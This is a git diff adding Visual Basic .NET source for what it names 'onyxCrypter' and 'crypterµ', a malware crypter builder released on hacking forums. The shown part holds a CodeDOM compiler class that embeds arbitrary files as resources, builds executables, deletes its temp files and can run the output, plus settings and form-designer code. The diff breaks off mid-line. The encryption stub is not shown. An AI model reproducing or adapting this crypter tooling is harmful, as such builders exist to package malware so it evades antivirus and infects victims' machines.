text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\Icon.ico;System.Drawing.Icon, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/scode (crypterµ/My Project/Settings.Designer.vb b/scode (crypterµ/My Project/Settings.Designer.vb new file mode 100644 index 0000000..85fad83 --- /dev/null +++ b/scode (crypterµ/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.225 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Cryptation.My.MySettings + Get + Return Global.Cryptation.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (crypterµ/My Project/Settings.settings b/scode (crypterµ/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (crypterµ/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (crypterµ/Resources/Icon.ico b/scode (crypterµ/Resources/Icon.ico new file mode 100644 index 0000000..09a4583 Binary files /dev/null and b/scode (crypterµ/Resources/Icon.ico differ diff --git a/scode (crypterµ/c.ico b/scode (crypterµ/c.ico new file mode 100644 index 0000000..7d6f94a Binary files /dev/null and b/scode (crypterµ/c.ico differ diff --git a/scode (onxyCrypter/.DS_Store b/scode (onxyCrypter/.DS_Store new file mode 100644 index 0000000..3cd7d17 Binary files /dev/null and b/scode (onxyCrypter/.DS_Store differ diff --git a/scode (onxyCrypter/builder/banking.dll b/scode (onxyCrypter/builder/banking.dll new file mode 100644 index 0000000..ec9d77c Binary files /dev/null and b/scode (onxyCrypter/builder/banking.dll differ diff --git a/scode (onxyCrypter/builder/builder.sln b/scode (onxyCrypter/builder/builder.sln new file mode 100644 index 0000000..d3cda86 --- /dev/null +++ b/scode (onxyCrypter/builder/builder.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "builder", "builder\builder.vbproj", "{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Debug|Any CPU.Build.0 = Debug|Any CPU + {BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Debug|x86.ActiveCfg = Debug|x86 + {BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Debug|x86.Build.0 = Debug|x86 + {BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Release|Any CPU.ActiveCfg = Release|Any CPU + {BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Release|Any CPU.Build.0 = Release|Any CPU + {BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Release|x86.ActiveCfg = Release|x86 + {BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (onxyCrypter/builder/builder.suo b/scode (onxyCrypter/builder/builder.suo new file mode 100644 index 0000000..bea29cf Binary files /dev/null and b/scode (onxyCrypter/builder/builder.suo differ diff --git a/scode (onxyCrypter/builder/builder/App.config b/scode (onxyCrypter/builder/builder/App.config new file mode 100644 index 0000000..d6533ba --- /dev/null +++ b/scode (onxyCrypter/builder/builder/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/scode (onxyCrypter/builder/builder/ApplicationEvents.vb b/scode (onxyCrypter/builder/builder/ApplicationEvents.vb new file mode 100644 index 0000000..5f28270 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/ApplicationEvents.vb @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/Compiler.vb b/scode (onxyCrypter/builder/builder/Compiler.vb new file mode 100644 index 0000000..65ee7c8 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/Compiler.vb @@ -0,0 +1,613 @@ +Imports System.IO +Imports System.Text +Imports Microsoft.CSharp +Imports System.Resources +Imports System.Diagnostics +Imports System.Windows.Forms +Imports System.CodeDom.Compiler +Imports System.Collections.Generic + +'*********************************************************************\\ +' * Made by: Ethernal Five *\\ +' * Released on 10 februari 2012 *\\ +' * Released on: Hackforums.net, Leetcoders.org & Virtuouscoding.net *\\ +' * If you use this, please credit me. I've put alot of work in it *\\ +'*********************************************************************\\ +#Region "Enums" +''' +''' The programming languages which codedom can compile. +''' +Public Enum Language + VisualBasic + CSharp +End Enum + +''' +''' How you're assembly will compile. Default setting is Console. +''' +Public Enum Target + ''' + ''' An Windows forms application. + ''' + WinForms + ''' + ''' A Windows console application. + ''' + Console + ''' + ''' A Windows Dynamic Link Library(DLL) application. + ''' + Library +End Enum + +''' +''' The .NET version you're compiled file will use. +''' +Public Enum DotNetVersion + ''' + ''' .NET Version 2.0 + ''' + v2 + ''' + ''' .NET Version 3.0 + ''' + v3 + ''' + ''' .NET Version 3.5 + ''' + v35 + ''' + ''' .NET Version 4.0 + ''' + v4 +End Enum + +''' +''' The Filealign option lets you specify the size of sections in your output file. Default value is 1024. +''' +Public Enum File_Align + _200 + _512 + _1024 + _2048 + _4096 + _8192 +End Enum + +''' +''' Specifies which version of the common language runtime (CLR) can run the assembly. Default value is anycpu. +''' +Public Enum Platform + ''' + ''' x86 compiles your assembly to be run by the 32-bit, x86-compatible common language runtime. + ''' + x86 + ''' + ''' Itanium compiles your assembly to be run by the 64-bit common language runtime on a computer with an Itanium processor. + ''' + Itanium + ''' + ''' x64 compiles your assembly to be run by the 64-bit common language runtime on a computer that supports the AMD64 or EM64T instruction set. + ''' + x64 + ''' + ''' anycpu compiles your assembly to run on any platform. + ''' + AnyCPU +End Enum + +''' +''' The WarningLevel option specifies the warning level for the compiler to display. +''' +Public Enum WarningLevel + ''' + ''' Turns off emission of all warning messages. + ''' + None + ''' + ''' Displays severe warning messages. + ''' + Low + ''' + ''' Displays level 1 warnings plus certain, less-severe warnings, such as warnings about hiding class members. + ''' + Medium + ''' + ''' Displays level 2 warnings plus certain, less-severe warnings, such as warnings about expressions that always evaluate to true or false. + ''' + High + ''' + ''' Displays all level 3 warnings plus informational warnings. + ''' + All +End Enum +#End Region + +Public Class EthernalCompiler +#Region "Properties" + Private _language As Language = Language.VisualBasic + ''' + ''' The programming language you wish to compile. Default language is Visual Basic. + ''' + Public Property Language() As Language + Get + Return _language + End Get + Set(ByVal value As Language) + _language = value + End Set + End Property + + Private _netversion As DotNetVersion = DotNetVersion.v4 + ''' + ''' The .NET version you're compiled file will use. Default version is 4.0. + ''' + Public Property DotNetVersion() As DotNetVersion + Get + Return _netversion + End Get + Set(ByVal value As DotNetVersion) + _netversion = value + End Set + End Property + + Private _filealign As File_Align = File_Align._1024 + ''' + ''' The Filealign option lets you specify the size of sections in your output file. Default value is 1024. + ''' + Public Property File_Align() As File_Align + Get + Return _filealign + End Get + Set(ByVal value As File_Align) + _filealign = value + End Set + End Property + + Private _target As Target = Target.Console + ''' + ''' How you're assembly will compile. Default setting is Console. + ''' + Public Property Target() As Target + Get + Return _target + End Get + Set(ByVal value As Target) + _target = value + End Set + End Property + + Private _platform As Platform = Platform.AnyCPU + ''' + ''' Specifies which version of the common language runtime (CLR) can run the assembly. Default value is AnyCPU. + ''' + Public Property Platform() As Platform + Get + Return _platform + End Get + Set(ByVal value As Platform) + _platform = value + End Set + End Property + + Private _warnlvl As WarningLevel = WarningLevel.All + ''' + ''' The WarningLevel option specifies the warning level for the compiler to display. Default value is All. + ''' + Public Property WarningLevel() As WarningLevel + Get + Return _warnlvl + End Get + Set(ByVal value As WarningLevel) + _warnlvl = value + End Set + End Property + + Private _icon As String = String.Empty + ''' + ''' The Icon to be used with you're file. Must be a path to an .ico file. + ''' + Public Property Icon() As String + Get + Return _icon + End Get + Set(ByVal value As String) + _icon = value + End Set + End Property + + Private _executeaftercompiled As Boolean = False + ''' + ''' If true, it will execute the assembly after it has been compiled. Default value is false. + ''' + Public Property ExecuteAfterCompiled() As Boolean + Get + Return _executeaftercompiled + End Get + Set(ByVal value As Boolean) + _executeaftercompiled = value + End Set + End Property + + Private _silentmode As Boolean = False + ''' + ''' If Silent Mode is true, then there will be no error and succes messages displayed. Default value is false. + ''' + Public Property SilentMode() As Boolean + Get + Return _silentmode + End Get + Set(ByVal value As Boolean) + _silentmode = value + End Set + End Property + + Private _source As String = String.Empty + ''' + ''' The code you want to compile to an executable. Must be specified. + ''' + Public Property Source() As String + Get + Return _source + End Get + Set(ByVal value As String) + _source = value + End Set + End Property + + Private _references As String() = Nothing + ''' + ''' The assemblies you want to reference. For example if you are using forms, you should reference System.Windows.Forms.dll. As default System.dll is already added. + ''' + Public Property References() As String() + Get + Return _references + End Get + Set(ByVal value As String()) + _references = value + End Set + End Property + + Private _appconfig As String = String.Empty + ''' + ''' The AppConfig compiler option enables a C# application to specify the location of an assembly's application configuration (app.config) file to the common language runtime (CLR) at assembly binding time. + ''' + Public Property AppConfig() As String + Get + Return _appconfig + End Get + Set(ByVal value As String) + _appconfig = value + End Set + End Property + + Private _manifest As String = String.Empty + ''' + ''' Use the ManifestFile option to specify a user-defined Win32 application manifest file to be embedded into a project's portable executable file. + ''' + Public Property ManifestFile() As String + Get + Return _manifest + End Get + Set(ByVal value As String) + _manifest = value + End Set + End Property + + Private _optimize As Boolean = False + ''' + ''' The Optimize option enables or disables optimizations performed by the compiler to make your output file smaller, faster, and more efficient. Default is false. + ''' + Public Property Optimize() As Boolean + Get + Return _optimize + End Get + Set(ByVal value As Boolean) + _optimize = value + End Set + End Property + + Private _unsafe As Boolean = False + ''' + ''' The Unsafe compiler option allows code that uses the unsafe keyword to compile. Default is false. + ''' + Public Property Unsafe() As Boolean + Get + Return _unsafe + End Get + Set(ByVal value As Boolean) + _unsafe = value + End Set + End Property + + Private _warnings As Boolean = False + ''' + ''' This option will let you choose if you want to display warning messages if they occur. Default is false. + ''' + Public Property ShowWarnings() As Boolean + Get + Return _warnings + End Get + Set(ByVal value As Boolean) + _warnings = value + End Set + End Property + + Private _debug As Boolean = False + ''' + ''' The Debug option causes the compiler to generate debugging information and place it in the output file or files. + ''' + Public Property Debug() As Boolean + Get + Return _debug + End Get + Set(ByVal value As Boolean) + _debug = value + End Set + End Property + + Private _optionalparameters As String = String.Empty + ''' + ''' With this option you can specify you're own compiler options, like /keyfile. For advanced users only. + ''' + Public Property Optional_Parameters() As String + Get + Return _optionalparameters + End Get + Set(ByVal value As String) + _optionalparameters = value + End Set + End Property + + Private _errorlog As Boolean = False + ''' + ''' Creates an error log file if any errors occur. Default is false. + ''' + Public Property ErrorLog() As Boolean + Get + Return _errorlog + End Get + Set(ByVal value As Boolean) + _errorlog = value + End Set + End Property + + Private _mscorlib As Boolean = True + ''' + ''' If you set this to false you won't be able to acces the System Namespace. Use this option if you want to define or create your own System namespace and objects. + ''' + Public Property Reference_Mscorlib() As Boolean + Get + Return _mscorlib + End Get + Set(ByVal value As Boolean) + _mscorlib = value + End Set + End Property + + ''' + ''' Add a resource. Parameter name must be the file to the resource. This could be any file you want. + ''' + Public Sub AddResource(ByVal resourcename As String, ByVal file__1 As String) + Dim filename As String = Path.GetFileName(file__1) + If Not Directory.Exists("temp") Then + Directory.CreateDirectory("temp") + End If + File.WriteAllBytes("temp\" & filename, File.ReadAllBytes(file__1)) + File.Move("temp\" & filename, "temp\" & resourcename) + End Sub + Public Sub AddResource2(ByVal resourcename As String, ByVal file__1 As String) + Dim filename As String = Path.GetFileName(file__1) + If Not Directory.Exists("temp2") Then + Directory.CreateDirectory("temp2") + End If + File.WriteAllBytes("temp2\" & filename, File.ReadAllBytes(file__1)) + File.Move("temp2\" & filename, "temp2\" & resourcename) + End Sub +#End Region + +#Region "Compile" + Private newline As String = Environment.NewLine + ''' + ''' Compiles the assembly. + ''' + Public Sub Compile(ByVal OutputPath As String) + If Not String.IsNullOrEmpty(_source) Then + If Not String.IsNullOrEmpty(OutputPath) Then + If Directory.Exists("temp") AndAlso Directory.GetFiles("temp\") IsNot Nothing Then + Dim w As New ResourceWriter("bankingcal.Resources.resources") + For Each resource As String In Directory.GetFiles("temp\") + Dim file__1 As String = Path.GetFileName(resource) + If file__1 <> "thumbs.db" OrElse Not File.Exists(resource) Then + w.AddResource(file__1, File.ReadAllBytes(resource)) + End If + + Next + w.Close() + + End If + + + Dim p As New CompilerParameters() + Dim sb As New StringBuilder() + p.OutputAssembly = OutputPath + If References Is Nothing Then + References = New String() {"System.dll"} + End If + p.ReferencedAssemblies.AddRange(References) + If Directory.Exists("temp") Then + p.EmbeddedResources.Add("bankingcal.Resources.resources") + End If + + If _icon <> String.Empty Then + sb.Append(" /win32icon:" & _icon) + End If + + Select Case Target + Case Target.Console + sb.Append(" /target:exe") + p.GenerateExecutable = True + Exit Select + Case Target.WinForms + sb.Append(" /target:winexe") + p.GenerateExecutable = True + Exit Select + Case Target.Library + sb.Append(" /target:library") + p.GenerateExecutable = False + Exit Select + End Select + + Select Case File_Align + Case File_Align._512 + sb.Append(" /filealign:512") + Exit Select + Case File_Align._1024 + sb.Append(" /filealign:1024") + Exit Select + Case File_Align._2048 + sb.Append(" /filealign:2048") + Exit Select + Case File_Align._4096 + sb.Append(" /filealign:4096") + Exit Select + Case File_Align._8192 + sb.Append(" /filealign:8192") + Exit Select + End Select + + Select Case Platform + Case Platform.AnyCPU + sb.Append(" /platform:AnyCPU") + Exit Select + Case Platform.Itanium + sb.Append(" /platform:Itanium") + Exit Select + Case Platform.x64 + sb.Append(" /platform:x64") + Exit Select + Case Platform.x86 + sb.Append(" /platform:x86") + Exit Select + End Select + + Select Case WarningLevel + Case WarningLevel.None + sb.Append(" /warn:0") + Exit Select + Case WarningLevel.Low + sb.Append(" /warn:1") + Exit Select + Case WarningLevel.Medium + sb.Append(" /warn:2") + Exit Select + Case WarningLevel.High + sb.Append(" /warn:3") + Exit Select + Case WarningLevel.All + sb.Append(" /warn:4") + Exit Select + End Select + If _appconfig <> String.Empty AndAlso Language = Language.CSharp AndAlso File.Exists(_appconfig) Then + sb.Append(" /appconfig:" & _appconfig) + End If + If _manifest <> String.Empty AndAlso Language = Language.CSharp AndAlso File.Exists(_manifest) Then + sb.Append(" /win32manifest: " & _manifest) + End If + If _optionalparameters <> String.Empty Then + For Each param As String In _optionalparameters.Split("/"c) + Dim temp As String = " /" & param + If temp <> " /" AndAlso temp <> "/" Then + sb.Append(temp) + End If + Next + End If + If _mscorlib = False Then + sb.Append(" /nostdlib") + End If + If _optimize = True Then + sb.Append(" /optimize+") + End If + If _unsafe = True Then + sb.Append(" /unsafe") + End If + If _debug = True Then + sb.Append(" /debug:full") + End If + p.CompilerOptions = sb.ToString() + + If Target = Target.Library AndAlso Path.GetExtension(OutputPath) = ".exe" AndAlso SilentMode = False Then + If MessageBox.Show("You are compiling an Dynamic Link Library, but you are using .exe instead of .dll as extension." & newline & "Do you want to continue?", "Ethernal Compiler", MessageBoxButtons.YesNo, MessageBoxIcon.Information) = DialogResult.No Then + Return + End If + End If + + Dim ProviderOptions As New Dictionary(Of String, String)() + Select Case DotNetVersion + Case DotNetVersion.v2 + ProviderOptions.Add("CompilerVersion", "v2.0") + Exit Select + Case DotNetVersion.v3 + ProviderOptions.Add("CompilerVersion", "v3.0") + Exit Select + Case DotNetVersion.v35 + ProviderOptions.Add("CompilerVersion", "v3.5") + Exit Select + Case DotNetVersion.v4 + ProviderOptions.Add("CompilerVersion", "v4.0") + Exit Select + End Select + + Dim results As CompilerResults = Nothing + Select Case Language + Case Language.CSharp + results = New CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(p, Source) + Exit Select + Case Language.VisualBasic + results = New VBCodeProvider(ProviderOptions).CompileAssemblyFromSource(p, Source) + Exit Select + End Select + results.TempFiles.Delete() + + If File.Exists("bankingcal.Resources.resources") Then + File.Delete("bankingcal.Resources.resources") + End If + If Directory.Exists("temp") Then + Directory.Delete("temp", True) + End If + If File.Exists("bankingcal2.Resources.resources") Then + File.Delete("bankingcal2.Resources.resources") + End If + If File.Exists("text.txt") Then + File.Delete("text.txt") + End If + If Directory.Exists("temp2") Then + Directory.Delete("temp2", True) + End If + If results.Errors.Count > 0 Then + If SilentMode = False Then + MessageBox.Show("Ethernal Compiler encountered " & results.Errors.Count & " errors.", Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.[Error]) + For Each err As CompilerError In results.Errors + MessageBox.Show(err.ErrorText & newline & "Collumn " & err.Column & ", Line " & err.Line & newline & err.FileName, "Ethernal Compiler", MessageBoxButtons.OK, MessageBoxIcon.[Error]) + If _errorlog = True Then + File.AppendAllText("error.log", DateTime.Now & newline & err.ErrorText & newline & "Collumn " & err.Column & ", Line " & err.Line & newline & err.FileName & newline) + End If + Next + End If + Else + If SilentMode = False Then + MessageBox.Show("Succesfully compiled!", Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Information) + End If + If ExecuteAfterCompiled Then + Process.Start(OutputPath) + End If + End If + Else + Throw New ArgumentException("Please provide the output path to write to compiled executable.", "EthernalCompiler.Output = """"") + End If + Else + Throw New ArgumentException("Please provide the source code to compile into an Windows executable.", "EthernalCompiler.Source = """"") + End If + End Sub +#End Region +End Class diff --git a/scode (onxyCrypter/builder/builder/Form1.Designer.vb b/scode (onxyCrypter/builder/builder/Form1.Designer.vb new file mode 100644 index 0000000..23bd49a --- /dev/null +++ b/scode (onxyCrypter/builder/builder/Form1.Designer.vb @@ -0,0 +1,1597 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.VTheme1 = New Onyx.VTheme() + Me.PictureBox1 = New System.Windows.Forms.PictureBox() + Me.VTabControl1 = New Onyx.VTabControl() + Me.TabPage1 = New System.Windows.Forms.TabPage() + Me.VGroupBox4 = New Onyx.VGroupBox() + Me.ListView1 = New System.Windows.Forms.ListView() + Me.Label8 = New System.Windows.Forms.Label() + Me.Label7 = New System.Windows.Forms.Label() + Me.Label6 = New System.Windows.Forms.Label() + Me.Label5 = New System.Windows.Forms.Label() + Me.Label4 = New System.Windows.Forms.Label() + Me.Label3 = New System.Windows.Forms.Label() + Me.VSeperator1 = New Onyx.VSeperator() + Me.VGroupBox2 = New Onyx.VGroupBox() + Me.VGroupBox3 = New Onyx.VGroupBox() + Me.PictureBox3 = New System.Windows.Forms.PictureBox() + Me.Label2 = New System.Windows.Forms.Label() + Me.VButton3 = New Onyx.VButton() + Me.VTextBox2 = New Onyx.VTextBox() + Me.VGroupBox1 = New Onyx.VGroupBox() + Me.VRadiobutton2 = New Onyx.VRadiobutton() + Me.VRadiobutton1 = New Onyx.VRadiobutton() + Me.Label1 = New System.Windows.Forms.Label() + Me.VButton2 = New Onyx.VButton() + Me.VTextBox1 = New Onyx.VTextBox() + Me.TabPage2 = New System.Windows.Forms.TabPage() + Me.VGroupBox6 = New Onyx.VGroupBox() + Me.VGroupBox7 = New Onyx.VGroupBox() + Me.VRadiobutton4 = New Onyx.VRadiobutton() + Me.VRadiobutton3 = New Onyx.VRadiobutton() + Me.VCheckBox1 = New Onyx.VCheckBox() + Me.Label20 = New System.Windows.Forms.Label() + Me.VTextBox10 = New Onyx.VTextBox() + Me.VTextBox12 = New Onyx.VTextBox() + Me.Label17 = New System.Windows.Forms.Label() + Me.VTextBox11 = New Onyx.VTextBox() + Me.Label18 = New System.Windows.Forms.Label() + Me.GhostComboBox1 = New Onyx.GhostComboBox() + Me.Label16 = New System.Windows.Forms.Label() + Me.VSeperator2 = New Onyx.VSeperator() + Me.VGroupBox5 = New Onyx.VGroupBox() + Me.VButton6 = New Onyx.VButton() + Me.VButton4 = New Onyx.VButton() + Me.Label15 = New System.Windows.Forms.Label() + Me.VTextBox9 = New Onyx.VTextBox() + Me.Label14 = New System.Windows.Forms.Label() + Me.VTextBox8 = New Onyx.VTextBox() + Me.Label13 = New System.Windows.Forms.Label() + Me.VTextBox7 = New Onyx.VTextBox() + Me.Label12 = New System.Windows.Forms.Label() + Me.VTextBox6 = New Onyx.VTextBox() + Me.Label11 = New System.Windows.Forms.Label() + Me.VTextBox5 = New Onyx.VTextBox() + Me.Label10 = New System.Windows.Forms.Label() + Me.VTextBox4 = New Onyx.VTextBox() + Me.Label9 = New System.Windows.Forms.Label() + Me.VTextBox3 = New Onyx.VTextBox() + Me.TabPage3 = New System.Windows.Forms.TabPage() + Me.VGroupBox12 = New Onyx.VGroupBox() + Me.VTextBox19 = New Onyx.VTextBox() + Me.VTextBox18 = New Onyx.VTextBox() + Me.VCheckBox7 = New Onyx.VCheckBox() + Me.VGroupBox11 = New Onyx.VGroupBox() + Me.VButton5 = New Onyx.VButton() + Me.VTextBox17 = New Onyx.VTextBox() + Me.VCheckBox6 = New Onyx.VCheckBox() + Me.VGroupBox10 = New Onyx.VGroupBox() + Me.VTextBox16 = New Onyx.VTextBox() + Me.VCheckBox5 = New Onyx.VCheckBox() + Me.VSeperator3 = New Onyx.VSeperator() + Me.VGroupBox9 = New Onyx.VGroupBox() + Me.VTextBox15 = New Onyx.VTextBox() + Me.VCheckBox4 = New Onyx.VCheckBox() + Me.VTextBox14 = New Onyx.VTextBox() + Me.VCheckBox3 = New Onyx.VCheckBox() + Me.VCheckBox2 = New Onyx.VCheckBox() + Me.TabPage4 = New System.Windows.Forms.TabPage() + Me.VGroupBox13 = New Onyx.VGroupBox() + Me.RichTextBox1 = New System.Windows.Forms.RichTextBox() + Me.VButton1 = New Onyx.VButton() + Me.VTextBox13 = New Onyx.VTextBox() + Me.TabPage5 = New System.Windows.Forms.TabPage() + Me.TabPage6 = New System.Windows.Forms.TabPage() + Me.PictureBox2 = New System.Windows.Forms.PictureBox() + Me.VTheme1.SuspendLayout() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.VTabControl1.SuspendLayout() + Me.TabPage1.SuspendLayout() + Me.VGroupBox4.SuspendLayout() + Me.VGroupBox2.SuspendLayout() + Me.VGroupBox3.SuspendLayout() + CType(Me.PictureBox3, System.ComponentModel.ISupportInitialize).BeginInit() + Me.VGroupBox1.SuspendLayout() + Me.TabPage2.SuspendLayout() + Me.VGroupBox6.SuspendLayout() + Me.VGroupBox7.SuspendLayout() + Me.VGroupBox5.SuspendLayout() + Me.TabPage3.SuspendLayout() + Me.VGroupBox12.SuspendLayout() + Me.VGroupBox11.SuspendLayout() + Me.VGroupBox10.SuspendLayout() + Me.VGroupBox9.SuspendLayout() + Me.TabPage4.SuspendLayout() + Me.VGroupBox13.SuspendLayout() + Me.TabPage6.SuspendLayout() + CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'VTheme1 + ' + Me.VTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VTheme1.Colors = New Onyx.Bloom(-1) {} + Me.VTheme1.Controls.Add(Me.PictureBox1) + Me.VTheme1.Controls.Add(Me.VTabControl1) + Me.VTheme1.Customization = "" + Me.VTheme1.Dock = System.Windows.Forms.DockStyle.Fill + Me.VTheme1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTheme1.Image = Nothing + Me.VTheme1.Location = New System.Drawing.Point(0, 0) + Me.VTheme1.Movable = True + Me.VTheme1.Name = "VTheme1" + Me.VTheme1.NoRounding = False + Me.VTheme1.Sizable = True + Me.VTheme1.Size = New System.Drawing.Size(817, 318) + Me.VTheme1.SmartBounds = True + Me.VTheme1.StartPosition = System.Windows.Forms.FormStartPosition.WindowsDefaultLocation + Me.VTheme1.TabIndex = 0 + Me.VTheme1.Text = " nyx Crypter" + Me.VTheme1.TransparencyKey = System.Drawing.Color.Fuchsia + Me.VTheme1.Transparent = False + ' + 'PictureBox1 + ' + Me.PictureBox1.BackColor = System.Drawing.Color.Transparent + Me.PictureBox1.Location = New System.Drawing.Point(3, 0) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(35, 35) + Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom + Me.PictureBox1.TabIndex = 2 + Me.PictureBox1.TabStop = False + ' + 'VTabControl1 + ' + Me.VTabControl1.Controls.Add(Me.TabPage1) + Me.VTabControl1.Controls.Add(Me.TabPage2) + Me.VTabControl1.Controls.Add(Me.TabPage3) + Me.VTabControl1.Controls.Add(Me.TabPage4) + Me.VTabControl1.Controls.Add(Me.TabPage5) + Me.VTabControl1.Controls.Add(Me.TabPage6) + Me.VTabControl1.Location = New System.Drawing.Point(12, 38) + Me.VTabControl1.Name = "VTabControl1" + Me.VTabControl1.SelectedIndex = 0 + Me.VTabControl1.Size = New System.Drawing.Size(793, 268) + Me.VTabControl1.Speed = -20 + Me.VTabControl1.TabIndex = 2 + Me.VTabControl1.TabTextColor = System.Drawing.Color.DarkMagenta + ' + 'TabPage1 + ' + Me.TabPage1.BackColor = System.Drawing.Color.FromArgb(CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer)) + Me.TabPage1.Controls.Add(Me.VGroupBox4) + Me.TabPage1.Controls.Add(Me.VSeperator1) + Me.TabPage1.Controls.Add(Me.VGroupBox2) + Me.TabPage1.Controls.Add(Me.VGroupBox1) + Me.TabPage1.Location = New System.Drawing.Point(4, 25) + Me.TabPage1.Name = "TabPage1" + Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage1.Size = New System.Drawing.Size(785, 239) + Me.TabPage1.TabIndex = 0 + Me.TabPage1.Text = "Main" + ' + 'VGroupBox4 + ' + Me.VGroupBox4.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox4.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox4.Controls.Add(Me.ListView1) + Me.VGroupBox4.Controls.Add(Me.Label8) + Me.VGroupBox4.Controls.Add(Me.Label7) + Me.VGroupBox4.Controls.Add(Me.Label6) + Me.VGroupBox4.Controls.Add(Me.Label5) + Me.VGroupBox4.Controls.Add(Me.Label4) + Me.VGroupBox4.Controls.Add(Me.Label3) + Me.VGroupBox4.Customization = "" + Me.VGroupBox4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox4.Image = Nothing + Me.VGroupBox4.Location = New System.Drawing.Point(6, 6) + Me.VGroupBox4.Movable = True + Me.VGroupBox4.Name = "VGroupBox4" + Me.VGroupBox4.NoRounding = False + Me.VGroupBox4.Sizable = True + Me.VGroupBox4.Size = New System.Drawing.Size(379, 228) + Me.VGroupBox4.SmartBounds = True + Me.VGroupBox4.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox4.TabIndex = 5 + Me.VGroupBox4.Text = "VGroupBox4" + Me.VGroupBox4.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox4.Transparent = False + ' + 'ListView1 + ' + Me.ListView1.BackColor = System.Drawing.Color.FromArgb(CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer)) + Me.ListView1.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.ListView1.Location = New System.Drawing.Point(262, 118) + Me.ListView1.Name = "ListView1" + Me.ListView1.Size = New System.Drawing.Size(53, 57) + Me.ListView1.TabIndex = 9 + Me.ListView1.UseCompatibleStateImageBehavior = False + ' + 'Label8 + ' + Me.Label8.AutoSize = True + Me.Label8.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label8.Location = New 